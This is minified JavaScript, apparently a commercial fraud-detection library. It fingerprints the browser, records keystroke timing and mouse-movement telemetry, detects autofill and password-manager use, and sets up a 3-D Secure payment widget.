function nsfiievbab(a){a=nsbopif(a);var b=[],c=0,d={r:a.r,sid:a.sid,wt:a.wt},e;for(e in a)if(a.hasOwnProperty(e))if(a[e]){var f=a[e],g=e.length+f.toString().length;2E3<g?(g={r:a.r,sid:a.sid,wt:a.wt},g[e]=f,b.push(nsgukke.stringify(g))):2E3<g+c?(b.push(nsgukke.stringify(d)),d={r:a.r,sid:a.sid,wt:a.wt},d[e]=f,c=g):(d[e]=f,c+=g)}else delete a[e];0<c&&b.push(nsgukke.stringify(d));return b}var nslyyi=!1;
function nssnfwmip(){null==nds.config.sessionId&&nds.setSessionIdFromCookie(nsfkgjoq);null==nds.config.sessionId&&nds.setSessionIdFromSessionStorage(nsfkgjoq);null==nds.config.sessionId&&null!==nscavj&&(nds.setSessionId(nscavj),nsbopifkzi(nsfkgjoq,nscavj,!1,!0))}document.querySelector||(nslyyi=!0);(function(){nscavjydje("wk",{init:function(a){nsdwhx&&(a=Math.floor(1E6*Math.random())+1E3,(window.ndsapi||(window.ndsapi={})).setFormFieldData("wkr",a))}})})();
(function(){var a=!1,b='input[type\x3d"text"],input[type\x3d"password"]',c='input[name\x3d"remember-me"]';nscavjydje("af",{init:function(e){a=e.e;b=e.gtfs;c=e.rms;a&&d.init()},precomplete:function(b){a&&d.findTech()},rebind:function(b){a&&d.init()},stop:function(b){a&&(f.unsubscribeAll(),a=!1)}});var d=function(){return{init:function(){e.init();this.initFieldWatchers();this.findTech()},findTech:function(){try{k.findTech(),m.findTech(),g.findTech()}catch(h){}},initFieldWatchers:function(){f.unsubscribeAll();
for(var a=this.getTargetFields(),b=0;b<a.length;b+=1)f.startWatchingField(a[b])},getTargetFields:function(){return nds.common.querySelectorAll(b)}}}(),e=function(){function a(){var a=ndoGetObjectKeys(b).join(",");nds.setFormFieldData("af",a)}var b={};return{init:function(){b={};a()},reportTech:function(c){b[c]=!0;a()},reportFill:function(){b.filled=!0;a()}}}(),f=function(){function a(){var a=nds.common.createCallbackList(),d=++c;b[d]=a;a.addCallback(function(){delete b[d]});return a}var b={},c=0;
return{unsubscribeAll:function(){for(var a in b)Object.prototype.hasOwnProperty.call(b,a)&&b[a].callAllCallbacks()},startWatchingField:function(b){if(b)if(b.value)e.reportFill();else{var c=a(),d=nds.common.addEventListener(b,"focus",function(){c.callAllCallbacks()});c.addCallback(d);d=["change","input"];for(var f=0;f<d.length;f+=1){var h=nds.common.addEventListener(b,d[f],function(){b.value&&(e.reportFill(),c.callAllCallbacks())});c.addCallback(h)}}}}}(),g=function(){return{findTech:function(){try{for(var a=
nds.common.querySelectorAll(c),b=0;b<a.length;b+=1)a[b].checked&&e.reportTech("rememberme")}catch(n){}}}}(),k=function(){return{findTech:function(){try{0<nds.common.querySelectorAll(":-webkit-autofill").length&&e.reportTech("webkit")}catch(h){}}}}(),m=function(){var a={"background-attachment":"scroll","background-size":"16px 18px","background-position":"98% 50%","background-repeat":"no-repeat","background-image":/^url\("data:image\/png;base64,iVBORw0KGgoAAAANSUhEUgAAABAAAAASCAYAAABSO15qAAAAAXNSR0IArs4c6QAAA..JREFUOB.*"\)$/};
return{findTech:function(b){b||(b=d.getTargetFields());for(var c=0;c<b.length;c+=1){var f=b[c];a:{var h=void 0;var g=f,m=a;for(h in m)if(Object.prototype.hasOwnProperty.call(m,h)){var k=m[h],B=nds.common.util.getComputedStyle(g,h);if(k instanceof RegExp){if(!k.test(B)){h=!1;break a}}else if(B!==k){h=!1;break a}}h=!0}if(!h){h=void 0;f=f.id||f.name;try{h=document.querySelector('[id^\x3d"__lpform_'+f+'"]')}catch(U){}h=!!h}if(h){e.reportTech("lastpass");break}}}}}()})();
(function(){function a(a){d.lastIndex=0;return d.test(a)?'"'+a.replace(d,function(a){var b=g[a];return"string"===typeof b?b:"\\u"+("0000"+a.charCodeAt(0).toString(16)).slice(-4)})+'"':'"'+a+'"'}function b(a){return 10>a?"0"+a:a}function c(b,d){var h,g=e,l=d[b];l&&"object"===typeof l&&"function"===typeof l.toNDJSON&&(l=l.toNDJSON(b));"function"===typeof k&&(l=k.call(d,b,l));switch(typeof l){case "string":return a(l);case "number":return isFinite(l)?String(l):"null";case "boolean":case "null":return String(l);
case "object":if(!l)return"null";e+=f;var m=[];if("[object Array]"===Object.prototype.toString.apply(l)){var u=l.length;for(h=0;h<u;h+=1)m[h]=c(h,l)||"null";var v=0===m.length?"[]":e?"[\n"+e+m.join(",\n"+e)+"\n"+g+"]":"["+m.join(",")+"]";e=g;return v}if(k&&"object"===typeof k)for(u=k.length,h=0;h<u;h+=1){if("string"===typeof k[h]){var p=k[h];(v=c(p,l))&&m.push(a(p)+(e?": ":":")+v)}}else for(p in l)Object.prototype.hasOwnProperty.call(l,p)&&(v=c(p,l))&&m.push(a(p)+(e?": ":":")+v);v=0===m.length?"{}":
e?"{\n"+e+m.join(",\n"+e)+"\n"+g+"}":"{"+m.join(",")+"}";e=g;return v}}"function"!==typeof Date.prototype.toNDJSON&&(Date.prototype.toNDJSON=function(a){return isFinite(this.valueOf())?this.getUTCFullYear()+"-"+b(this.getUTCMonth()+1)+"-"+b(this.getUTCDate())+"T"+b(this.getUTCHours())+":"+b(this.getUTCMinutes())+":"+b(this.getUTCSeconds())+"Z":null},String.prototype.toNDJSON=Number.prototype.toNDJSON=Boolean.prototype.toNDJSON=function(a){return this.valueOf()});var d=/[\\"\x00-\x1f\x7f-\x9f\u00ad\u0600-\u0604\u070f\u17b4\u17b5\u200c-\u200f\u2028-\u202f\u2060-\u206f\ufeff\ufff0-\uffff]/g,
e,f,g={"\b":"\\b","\t":"\\t","\n":"\\n","\f":"\\f","\r":"\\r",'"':'\\"',"\\":"\\\\"},k;"function"!==typeof nsgukke.stringify&&(nsgukke.stringify=function(a,b,d){var h;f=e="";if("number"===typeof d)for(h=0;h<d;h+=1)f+=" ";else"string"===typeof d&&(f=d);if((k=b)&&"function"!==typeof b&&("object"!==typeof b||"number"!==typeof b.length))throw Error("nsgukke.stringify");return c("",{"":a})});"function"!==typeof nsgukke.parse&&(nsgukke.parse=function(){var a,b,c={'"':'"',"\\":"\\","/":"/",b:"\b",f:"\f",
n:"\n",r:"\r",t:"\t"},d,e=function(c){if(c&&c!==b)throw new SyntaxError('nsgukke.parse - Expected "'+c+'" instead of "'+b+'"');b=d.charAt(a);a+=1;return b},f=function(){var a="";"-"===b&&(a="-",e("-"));for(;"0"<=b&&"9">=b;)a+=b,e();if("."===b)for(a+=".";e()&&"0"<=b&&"9">=b;)a+=b;if("e"===b||"E"===b){a+=b;e();if("-"===b||"+"===b)a+=b,e();for(;"0"<=b&&"9">=b;)a+=b,e()}var c=+a;return isFinite(c)?c:"-"===a.charAt(0)?-Infinity:Infinity},g=function(){var a,d="",f;if('"'===b)for(;e();){if('"'===b)return e(),
d;if("\\"===b)if(e(),"u"===b){for(a=f=0;4>a;a+=1){var g=parseInt(e(),16);if(!isFinite(g))break;f=16*f+g}d+=String.fromCharCode(f)}else if("string"===typeof c[b])d+=c[b];else break;else d+=b}throw new SyntaxError("nsgukke.parse - Bad string");},k=function(){for(;b&&" ">=b;)e()},p=function(){switch(b){case "t":return e("t"),e("r"),e("u"),e("e"),!0;case "f":return e("f"),e("a"),e("l"),e("s"),e("e"),!1;case "n":return e("n"),e("u"),e("l"),e("l"),null}throw new SyntaxError('nsgukke.parse - Unexpected "'+
b+'"');};var F=function(){k();switch(b){case "{":a:{var a={};if("{"===b){e("{");k();if("}"===b){e("}");var c=a;break a}for(;b;){c=g();k();e(":");a[c]=F();k();if("}"===b){e("}");c=a;break a}e(",");k()}}throw new SyntaxError("nsgukke.parse - Bad object");}return c;case "[":a:{c=[];if("["===b){e("[");k();if("]"===b){e("]");break a}for(;b;){c.push(F());k();if("]"===b){e("]");break a}e(",");k()}}throw new SyntaxError("nsgukke.parse - Bad array");}return c;case '"':return g();case "-":return f();default:return"0"<=
b&&"9">=b?f():p()}};return function(c,e){d=c;a=0;b=" ";var f=F();k();if(b)throw new SyntaxError("nsgukke.parse - Syntax error");return"function"===typeof e?function P(a,b){var c,d=a[b];if(d&&"object"===typeof d)for(c in d)if(Object.prototype.hasOwnProperty.call(d,c)){var f=P(d,c);void 0!==f?d[c]=f:delete d[c]}return e.call(a,b,d)}({"":f},""):f}}())})();
(function(){function a(a){var b=[];b.push(nds.common.bi.getScreenInfo());b.push(nds.common.bi.getDeviceTimezone());b.push(nds.common.bi.getDeviceLanguage());b.push("bp1-"+nds.common.util.quickHash(nds.common.bi.getPlugins()));b.push(nds.common.bi.isFlashInstalled().toString());var d=a.rt||128;b.push(nds.common.util.truncTo(document.referrer.replace(/\|/g,""),d));a=a.ut||512;b.push(nds.common.util.truncTo(navigator.userAgent.replace(/\|/g,""),a));a=nds.common.bi.getWebGLInfo();null===a?b.push("Not Supported"):
b.push("wg1-"+nds.common.util.quickHash(nsgukke.stringify(a)));a="b2";for(d=0;d<b.length;d++)a+="|"+b[d];return a}nscavjydje("di",{init:function(b){nds=window.ndsapi||(window.ndsapi={});if(nds.config.doNotTrack)nds.setFormFieldData("dnt",!0);else{var c={},d="NotAvail";"undefined"!==typeof navigator&&"undefined"!==typeof navigator.userAgent&&(d=navigator.userAgent);var e=window.ndsapi||(window.ndsapi={});e.config&&e.config.forceUA&&(d=e.config.forceUA);d=d.replace(/([0-9]+\.[0-9]+)\.[0-9]+\.[0-9]+/g,
"$1").replace(/([0-9]+\.[0-9]+)\.[0-9]+/g,"$1");d=d.replace(/([0-9]+_[0-9]+)_[0-9]+_[0-9]+/g,"$1").replace(/([0-9]+_[0-9]+)_[0-9]+/g,"$1");c.ua=d;c.sr=nds.common.bi.getScreenFingerprint();c.didtz=nds.common.bi.getDeviceTimezone().toString();d=nds.common.bi.getPlugins();c.bp=nds.common.util.quickHash(d);c.rbp=d;c.flv=nds.common.bi.isFlashInstalled().toString();c.fv=nds.common.bi.getHTML5SupportedVideo();c.fa=nds.common.bi.getHTML5SupportedAudio();c.hf=nds.common.util.quickHash(nds.common.bi.getHTML5CanvasSignature());
c.pl=nds.common.bi.getPlatform();c.ve=nds.common.bi.getVendor();c.ft=nsgukke.stringify(nds.common.bi.getDeviceTouchSettings());c.fc=nsgukke.stringify(nds.common.bi.getCookiesEnabled(b.ac));c.fs=nds.common.bi.getHTML5LocalStorage().toString();c.wg=nds.common.util.quickHash(nsgukke.stringify(nds.common.bi.getWebGLInfo()));c.fm=nds.common.util.quickHash(nds.common.bi.getFontMetrics().join(","));for(var f in c)c.hasOwnProperty(f)&&nds.setFormFieldData(f,c[f])}nds.setFormFieldData("bi",a(b))}})})();
function HashUtil(){}
(function(){function a(a,b,c){a=nds.common.addEventListener(a,b,c);Q.addCallback(a)}function b(a){var b=l(),c=g(qa,b,[K.length]);if(0===R||a.length+c.length<=R)return"";a=a.substring(0,R-c.length);var d=a.lastIndexOf(";");if(0>d)return"";D=b;return a.substring(0,d+1)+c+";"}function c(){L=K=w="";D=null;P&&(f(Y,[]),P=!1)}function d(){for(var a=[],b=0;b<C.length;b++){var c=C[b];c.type&&c.type.match(da)&&(a.push(c.id),a.push(c.value.length))}return a.join(",")}function e(){null!==G&&(clearInterval(G),
G=0);null!==r&&"undefined"!==typeof Z[r+1]&&(r++,G=setInterval(h,Z[r]),Q.addCallback(function(){clearInterval(G)}),!1===E?(H=1,E={pos:M,time:l()}):H=0)}function f(a,b){var c=l();if(null==D){aa=D=ha=l();var d=[nskyivz(),ra,ba];w=w+g("ncip",c,d)+";";D=c}w=w+g(a,c,b)+";";D=c;15E3<=c-aa&&(w=w+g("ts",c,[c-ha])+";",aa=D=c);switch(a){case ia:case ja:case sa:case Y:case ca:m(c);break;default:2E3<c-ka&&m(c)}}function g(a,b,c){b-=D;1<ba&&(b=Math.round(b/ba));a=a+","+b.toString(16);if(null!=c&&0<c.length){a+=
",";b=[];for(var d=0;d<c.length;d++)"number"===typeof c[d]?b.push(Math.round(c[d]).toString(16)):null!=c[d]&&b.push(c[d].toString());c=b.join(",");a+=c}return a}function k(a){if(!(q in a))return null;"string"===typeof a[q].id&&""!==a[q].id?a=a[q].id:"string"===typeof a[q].name&&""!==a[q].name?a=a[q].name:(a=Array.prototype.slice.call(C).indexOf(a[q]),a=0<=a?"ndiprinput"+a:"");return a}function m(a){ka=a;w&&(a=window.ndsapi||(window.ndsapi={}),K+=w,L=b(K),!0===U&&v(!1),w="",0<L.length?a.setFormFieldData("ipr",
L):a.setFormFieldData("ipr",K))}function h(){var a=l();if(!1!==E){var b=Math.abs(M.x-E.pos.x)*fa,c=Math.abs(M.y-E.pos.y)*ea,d=(a-E.time)/1E3,g=n(b/d,4,!0),k=n(c/d,4,!0);c=Math.sqrt(Math.pow(b,2)+Math.pow(c,2));b=n(c/d,4,!0);(null===S||b<S)&&0!==b&&(x=[g,k],S=b);(null===T||b>T)&&0!==b&&(y=[g,k],T=b);I+=b;J+=c;null!==V&&(d=(b-V)/d,(null===z||d<z)&&0!==d&&(z=d),(null===A||d>A)&&0!==d&&(A=d),N+=d);V=b}0!==H&&0===H%O[r]&&(d=0===W?0:a-W,I=n(I/O[r],4,!1),J=n(J,4,!1),g=0,0===d&&(g=-1),N=n(N/(O[r]+g),4,!1),
null===x&&null===y&&0===I&&0===J?f(ca,[d,O[r],"NOP"]):(x[0]=n(x[0],4,!1).toString(16),x[1]=n(x[1],4,!1).toString(16),y[0]=n(y[0],4,!1).toString(16),y[1]=n(y[1],4,!1).toString(16),z=null!==z?n(z,4,!1):0,A=null!==A?n(A,4,!1):0,f(ca,[d,O[r],x[0]+" "+x[1],y[0]+" "+y[1],I,J,z,A,N])),T=y=S=x=null,J=I=0,A=z=null,N=0,W=a);E={pos:M,time:a};H>=la[r]&&e();H++}function B(a){var b=0,c=0;if(a.pageX||a.pageY)b=a.pageX,c=a.pageY;else if(a.clientX||a.clientY)b=a.clientX+document.body.scrollLeft+document.documentElement.scrollLeft,
c=a.clientY+document.body.scrollTop+document.documentElement.scrollTop;return{x:b,y:c}}function n(a,b,c){a=Math.round(a*Math.pow(10,b));if("undefined"===typeof c||!0===c)a/=Math.pow(10,b);return a}function l(){return parseInt((new Date).getTime(),10)}function X(b,c){var d,e=[];if(null===b||"undefined"===typeof b||0===b.length)e=document.documentElement.getElementsByTagName("input");else if(("object"===typeof b||"function"===typeof b)&&"number"===typeof b.length){for(d=0;d<b.length;d++){var f=b[d];
"string"===typeof f?(f=document.getElementById(f),"undefined"!==typeof f&&null!==f&&e.push(f)):"object"===typeof f&&null!==f&&e.push(f)}null!==C&&(e=e.concat(C))}f=[];for(d=0;d<e.length;d++){var t=e[d];t.type&&t.type.match(da)&&(c||0!==t.offsetWidth||0!==t.offsetHeight)&&(f.push(t),a(t,"keydown",pa),a(t,"focus",ta),a(t,"blur",ua))}C=nslgfnpyxj(f);a(document,"click",va);a(document,"touchstart",wa);a(document,"mousemove",xa)}function u(a){a||(a=window.event);var b=null;a.target?b=a.target:a.srcElement&&
(b=a.srcElement);3==b.nodeType&&(b=b.parentNode);if(a.keyCode)var c=a.keyCode;else a.which&&(c=a.which);var d=!1;a.which?d=3==a.which:a.button&&(d=2==a.button);var e=B(a),f={};f.a=a;f[q]=b;f.c=d;f.d=c;f.e=e.x;f.f=e.y;return f}function v(a){if(0<nsdwhxur.length&&nsdwhxur[0].value){var b=nsdwhxur[0].value,c="",d="",e="",f="";nsgukk.hasOwnProperty("pageModeConfig")&&!0===nsgukk.pageModeConfig.encodeData&&(b=nshyfqpw(b));try{d=nsgukke.parse(b);d[nsfkgjoqr]||(d[nsfkgjoqr]={});var g=0<L.length?L:K.toString(),
t=d[nsfkgjoqr].hasOwnProperty("ipr")?d[nsfkgjoqr].ipr:"";!0===a&&g.length!==t.length&&(g=t);var k={ipr:g,forceIP:nds.config.forceIP,wp:nds.config.placement,wpp:nds.config.placementPage,dtrk:nds.config.doNotTrack};"sid"in nsgukkebk.pmd&&null!=nds.config.sessionId&&0<nds.config.sessionId.length&&(d.sid=nds.config.sessionId);for(var h in nsgukkebk.pmd)nsgukkebk.pmd.hasOwnProperty(h)&&(e=h,f=d[nsfkgjoqr].hasOwnProperty(e)?d[nsfkgjoqr][e]:"",k.hasOwnProperty(e)?f=k[e]:nslgf.hasOwnProperty(e)&&(f=nslgf[e]),
d[nsfkgjoqr][e]=f);c=nsgukke.stringify(d);nsgukk.hasOwnProperty("pageModeConfig")&&!0===nsgukk.pageModeConfig.encodeData&&(c=nshyfqpw(c));for(a=0;a<nsdwhxur.length;a++)nsdwhxur[a].value=c}catch(Ba){}}}var p=0,F=!1,U=!0,C=null,da=/^(text|password|email|url|search|tel)$/i,ea=1/window.screen.height,fa=1/window.screen.width,Q={addCallback:function(){},callAllCallbacks:function(){}},P=!1,R=0;nscavjydje("ipr",{init:function(a){var b=window.ndsapi||(window.ndsapi={}),e=a.hasOwnProperty("fm")?a.fm:null;F=
a.hasOwnProperty("bh")?a.bh:!1;R=a.hasOwnProperty("tl")?a.tl:R;p=0;C=null;ea=1/window.screen.height;fa=1/window.screen.width;U=!0;Q.callAllCallbacks();Q=nds.common.createCallbackList();G=M=null;E=r=!1;H=0;Z=[100,200,2E3];la=[100,300,150];O=[10,50,30];W=0;T=y=S=x=null;J=I=0;A=z=V=null;N=0;X(e,F);b.setFormFieldData("ipr","");c();a=d();f(ma,[a]);(a=document.activeElement)&&-1<C.indexOf(a)&&(b={},b[q]=a,f(na,[k(b)]))},reinit:function(){v(!0);!0===nsgukk.eventModeEnabled&&(U=!1);c()},rebind:function(a,
b){X(b,F);var c=d();f(ma,[c])},clear:c,stop:function(){Q.callAllCallbacks();f(Y,[]);P=!0}});var q="b",pa=function(a){u(a);f(ya,[])},ta=function(a){a=u(a);f(za,[q in a&&"undefined"!==typeof a[q].value?a[q].value.length:null,k(a)]);f(na,[k(a)])},ua=function(a){a=u(a);f(ia,[k(a)])},va=function(a){a=u(a);f(ja,[a.e,a.f,k(a)])},wa=function(a){a=u(a);a.a&&a.a.touches&&a.a.touches[0]&&"undefined"!==typeof a.a.touches[0].pageX?f(oa,[a.a.touches[0].pageX,a.a.touches[0].pageY,k(a)]):f(oa,[-1,-1,k(a)])},xa=function(a){M=
B(a);null===G&&(r=-1,e());if(nskyivz()<p)return!1;p=nskyivz()+5;a=u(a);f(Aa,[a.e,a.f,k(a)])},M=null,G=null,r=!1,E=!1,H=0,Z=[100,200,2E3],la=[100,300,150],O=[10,50,30],W=0,x=null,S=null,y=null,T=null,I=0,J=0,V=null,z=null,A=null,N=0,na="ff",ia="fb",ya="kd",Aa="mm",ja="mc",oa="te",sa="fs",za="kk",ma="st",ca="mms",Y="so",qa="tr",ra=2,ba=1,ha=null,D=null,ka=null,aa=null,w="",K="",L=""})();
function nsagvvlnuk(a){return null!==a&&("object"===typeof a||"function"===typeof a)&&"number"===typeof a.length&&"undefined"!==typeof a.item}
(function(){var a=window.ndsapi||(window.ndsapi={});a.configure3DS=function(b){a.config=a.config||{};a.config.threeDSConfig=a.config.threeDSConfig||{};a.ThreeDS={};nsqlyrfuyo(b,function(c,d){!1===a.config.threeDSConfig.hasOwnProperty(d)&&(a.config.threeDSConfig[d]={});a.config.threeDSConfig[d]=b[d]})};a.start3DS=function(){if(a.hasOwnProperty("config")&&a.config.hasOwnProperty("threeDSConfig")&&0<nsviymj(a.config.threeDSConfig)){var b=a.config.threeDSConfig,c={iframeElement:null,callbacks:null,notificationUrl:null},
d=[];nsqlyrfuyo(c,function(a,e){b.hasOwnProperty(e)?c[e]=b[e]:d.push(e)});var e=function(a,b){var d=c.callbacks;d&&d.hasOwnProperty(a)&&"function"===typeof d[a]&&d[a].apply(this,b)};if("undefined"!==typeof ThreeDSWidget)if(a.ThreeDS.ThreeDSWidget=ThreeDSWidget,a.ThreeDS.Error=ThreeDSError,a.ThreeDS.MsgType=MsgType,a.ThreeDS.ErrorCode=ErrorCode,a.ThreeDS.ErrorComponent=ErrorComponent,a.ThreeDS.TransactionStatus=TransactionStatus,0===d.length)e=c.iframeElement,e="string"===typeof e||e instanceof String?
nstnemtg(e):e,(new ThreeDSWidget(c.notificationUrl)).start({iframeElement:e,callbacks:c.callbacks});else{var f=new ThreeDSError;f.setErrorDescription("Missing Configuration");f.setErrorDetail(d.join(","));f.setMessageType(MsgType.ERRO);f.setErrorCode(ErrorCode.PERMANENT_SYSTEM_FAILURE);f.setErrorComponent(ErrorComponent.THREEDS_SDK);e("error",[f,ThreeDS])}}};"function"!==typeof a.load&&(a.load=function(){if(nslyyi)a.configure3DS=function(){},a.start3DS=function(){};else for(var b=a.config.q,c=0;c<
b.length;++c){var d=b[c];"function"===typeof d&&d()}})})();var TextUtils={stringify:function(a){return null===ObjectUtils.normalize(a)?null:a.toString()},stringifyToCharSequence:function(a){a=ObjectUtils.normalize(a);return a instanceof SecureString||null===a?a:a.toString()},concat:function(a,b){var c="",d;for(d in b)if(b.hasOwnProperty(d)){var e=b[d];null!==ObjectUtils.normalize(e)&&0<e.length&&(0!==c.length&&(c+=a),c+=e)}return c},isEmpty:function(a){return null===ObjectUtils.normalize(a)||"string"===typeof a&&0===a.length},isEqual:function(a,b){return a===
b},copy:function(a){return a instanceof SecureString?a.getValue():"string"===typeof a?a:null}};NDObject.create="function"===typeof Object.create?Object.create:function(a){function b(){}b.prototype=a;return new b};
var ObjectUtils={normalize:function(a){return"undefined"===typeof a?null:a},isEmpty:function(a){return null===ObjectUtils.normalize(a)||ObjectUtils.isEmptyMap(a)||ObjectUtils.isEmptyDCO(a)||ObjectUtils.isArray(a)&&0===a.length},isArray:function(a){return"undefined"===typeof Array.isArray?"[object Array]"===Object.prototype.toString.call(a):Array.isArray(a)},isMap:function(a){return"[object Object]"===Object.prototype.toString.call(a)&&a.constructor==={}.constructor},isEmptyMap:function(a){if(!ObjectUtils.isMap(a))return!1;
for(var b in a)if(a.hasOwnProperty(b))return!1;return!0},isEmptyDCO:function(a){return Interface.isInstanceOf(a,IMetadataProvider)&&a.isEmpty()},mergeObjects:function(a){for(var b={},c=0;c<a.length;c++)for(var d in a[c])a[c].hasOwnProperty(d)&&(b[d]=a[c][d]);return b}};IMetadataProvider.prototype.getFieldMetadata=function(){};IMetadataProvider.prototype.markAsMalformed=function(){};IMetadataProvider.prototype.getMalformedFields=function(){};IMetadataProvider.prototype.isEmpty=function(){};
ICustomConvertible.prototype.setRawValue=function(){};ICustomConvertible.prototype.getValueForSerialization=function(){};ICustomConvertible.prototype.getAllowedProperties=function(){};IValidatable.prototype.validate=function(){};ICopyable.prototype.copy=function(){};INonStringable.prototype.getValue=function(){};ISyncable.prototype.getFieldMetadata=IMetadataProvider.prototype.getFieldMetadata;ISyncable.prototype.markAsMalformed=IMetadataProvider.prototype.markAsMalformed;
ISyncable.prototype.getMalformedFields=IMetadataProvider.prototype.getMalformedFields;
var Interface={isInstanceOf:function(a,b){return null!==ObjectUtils.normalize(a)&&(a instanceof b||a.hasOwnProperty&&a.hasOwnProperty("mInterfaces")&&a.mInterfaces&&-1!==a.mInterfaces.indexOf(b))},implement:function(a,b){if(b.prototype)for(var c in b.prototype)if(b.prototype.hasOwnProperty(c)&&!(c in a&&"function"===typeof a[c]))throw Error(c+" is not implemented.");a instanceof b||ObjectUtils.isArray(a.mInterfaces)&&-1!==a.mInterfaces.indexOf(b)||(a.mInterfaces=a.mInterfaces||[],a.mInterfaces.push(b))}},
GlobalError="undefined"!==typeof window?Error:global.Error;BaseException.prototype=NDObject.create(GlobalError.prototype);Property.prototype.toString=function(){return this.value};Property.MIN=new Property("min");Property.MAX=new Property("max");Property.MIN_LENGTH=new Property("minLength");Property.MAX_LENGTH=new Property("maxLength");Property.LENGTH=new Property("length");Property.FORMAT=new Property("format");Property.ALLOW_EMPTY=new Property("allowEmpty");Property.ARGUMENT_KEY=new Property("argumentKey");
Property.STRICT=new Property("strict");function JsonDecodeException(a,b){BaseException.call(this,a,b)}Property.VALUE=new Property("value");ValidationDelegate.OBJECT=new ValidationDelegate;ValidationDelegate.ARRAY=new ValidationDelegate;ValidationDelegate.MAP=new ValidationDelegate;ValidationDelegate.DOUBLE=new ValidationDelegate;ValidationDelegate.INT=new ValidationDelegate;ValidationDelegate.STRING=new ValidationDelegate;ValidatorContext.prototype.toString=function(){return this.value};
ValidatorContext.T=new ValidatorContext("T");ValidatorContext.THIS=new ValidatorContext("This");SetterResult.SUCCESS=new SetterResult;SetterResult.NOT_APPLICABLE=new SetterResult;SetterResult.FAILURE=new SetterResult;ValidatorMetadata.prototype.getDelegate=function(){return this.mValidationDelegate};ValidatorMetadata.prototype.getContexts=function(){return this.mContexts};ValidatorMetadata.prototype.getProperties=function(){return this.mProperties};
Builder.prototype.addContext=function(a){this.mContexts.push(a.toString());return this};Builder.prototype.addProperty=function(a,b){this.mProperties[a.toString()]=b;return this};Builder.prototype.addProperties=function(a){for(var b in a)a.hasOwnProperty(b)&&(this.mProperties[b.toString()]=a[b]);return this};function TransactionStatus(a,b){Enumerable.call(this,a,TransactionStatus.VALUES,b);b&&(TransactionStatus.VALUES[a]=this)}Builder.prototype.setDelegate=function(a){this.mValidationDelegate=a;return this};
Builder.prototype.build=function(){return new ValidatorMetadata(this)};FieldMetadata.prototype.addValidator=function(a){this.mValidatorMetadata.push(a);return this};FieldMetadata.prototype.setValueRetriever=function(a){this.mValueRetriever=a;return this};FieldMetadata.prototype.setValueSetter=function(a){this.mValueSetter=a;return this};FieldMetadata.prototype.setValueInitializer=function(a){this.mValueInitializer=a;return this};FieldMetadata.prototype.setFieldType=function(a){this.mFieldType=a;return this};
function WindowSize(a,b){Enumerable.call(this,a,WindowSize.VALUES,b);b&&(WindowSize.VALUES[a]=this)}FieldMetadata.prototype.enableDcoSync=function(){this.mDcoSyncEnabled=!0;return this};FieldMetadata.prototype.enableSerialization=function(){this.mSerializationEnabled=!0;return this};FieldMetadata.prototype.setSerializationTarget=function(a){this.mSerializationTarget=a;return this};FieldMetadata.prototype.isDcoSyncEnabled=function(){return this.mDcoSyncEnabled};
FieldMetadata.prototype.isSerializationEnabled=function(){return this.mSerializationEnabled};FieldMetadata.prototype.getSerializationTarget=function(){return this.mSerializationTarget};FieldMetadata.prototype.getValidatorMetadata=function(){return this.mValidatorMetadata};FieldMetadata.prototype.getValue=function(a){return this.mValueRetriever(a)};FieldMetadata.prototype.setValue=function(a,b){return"function"===typeof this.mValueSetter?this.mValueSetter(a,b):null};
FieldMetadata.prototype.initValue=function(a){return"function"===typeof this.mValueInitializer?this.mValueInitializer(a):null};FieldMetadata.prototype.getFieldType=function(){return this.mFieldType};FieldMetadata.ValidatorMetadata=ValidatorMetadata;FieldMetadata.ValidationDelegate=ValidationDelegate;FieldMetadata.ValidatorContext=ValidatorContext;FieldMetadata.SetterResult=SetterResult;ValidatorMetadata.Builder=Builder;InvalidValueException.prototype=NDObject.create(BaseException.prototype);
Enumerable.prototype.toString=function(){return this.mValue};Enumerable.prototype.toJSON=function(){return this.mValue};Enumerable.prototype.validate=function(a,b){var c=new ValidationResult;this.mIsValid||(!this.mValue&&b&&!1===b[Property.ALLOW_EMPTY.toString()]?c.fail(a,b,[Property.ALLOW_EMPTY]):c.fail(a,b,[Property.VALUE]));return c};
Enumerable.prototype.hashCode=function(){for(var a=Math.pow(2,32),b=0;0===this.mHash||b<this.mValue.length;b++)this.mHash=31*this.mHash+this.mValue.charCodeAt(b),this.mHash%=a;return this.mHash};Type.Double=new Type;Type.Int=new Type;Type.Bool=new Type;function Serializable(){this.object=null}Type.String=new Type;Type.IP=new Type;Type.Email=new Type;Type.WidgetBrowserData=new Type;Type.UUID=new Type;Type.TernaryYesNoUnavailable=new Type;Type.MsgType=new Type;Type.MessageVersionType=new Type;
Type.ErrorCode=new Type;Type.ErrorComponent=new Type;Type.BooleanYesNo=new Type;Type.ACSRenderingType=new Type;Type.URL=new Type;function ICustomConvertible(){}Type.AuthenticationType=new Type;Type.Base64=new Type;function CryptoType(){}Type.Object=new Type;Type.MessageExtensionAttributes=new Type;Type.TransactionStatus=new Type;Type.TransactionReason=new Type;Type.Base64URL=new Type;Type.WhitelistStatus=new Type;Type.WhitelistStatusSource=new Type;Type.ApiVersionType=new Type;
function ValidatorMetadata(a){this.mValidationDelegate=a.mValidationDelegate;this.mContexts=a.mContexts;this.mProperties=a.mProperties}Type.ThreeDSError=new Type;Type.ChallengeOutcome=new Type;Type.ResultsResponse=new Type;Type.BrowserColorDepthType=new Type;Type.WindowSize=new Type;Type.ACSInterface=new Type;Type.ACSUITemplate=new Type;Type.EMVErrorMessage=new Type;Type.ImageSizes=new Type;Type.CancelIndicator=new Type;Type.MessageCategoryType=new Type;Type.Unknown=new Type;Init.Type=Type;
ValidationResult.prototype.fail=function(a,b,c){this.mFailures.push(new Failure(a,b||null,c))};ValidationResult.prototype.failWithMetadata=function(a,b,c){a=new Failure(a,null,c);a.mFieldMetadata=b;this.mFailures.push(a)};ValidationResult.prototype.failIf=function(a,b){b=b||null;if(!a.isSuccess()){var c=a.getFailures(),d;for(d in c){var e=c[d];null!==b&&(e.mAllArguments=ObjectUtils.mergeObjects(e.mAllArguments||{},b))}this.mFailures=this.mFailures.concat(c)}};
ValidationResult.prototype.failWithMetadataIf=function(a,b){if(null!=a){for(var c in a.mFailures){var d=a.mFailures[c];null===ObjectUtils.normalize(d.mFieldMetadata)&&(d.mFieldMetadata=b);null===ObjectUtils.normalize(d.mFieldMetadata)&&(d.mFieldMetadata=new FieldMetadata)}this.mFailures=this.mFailures.concat(a.mFailures)}};ValidationResult.prototype.getFailures=function(){return this.mFailures};ValidationResult.prototype.isSuccess=function(){return 0===this.mFailures.length};
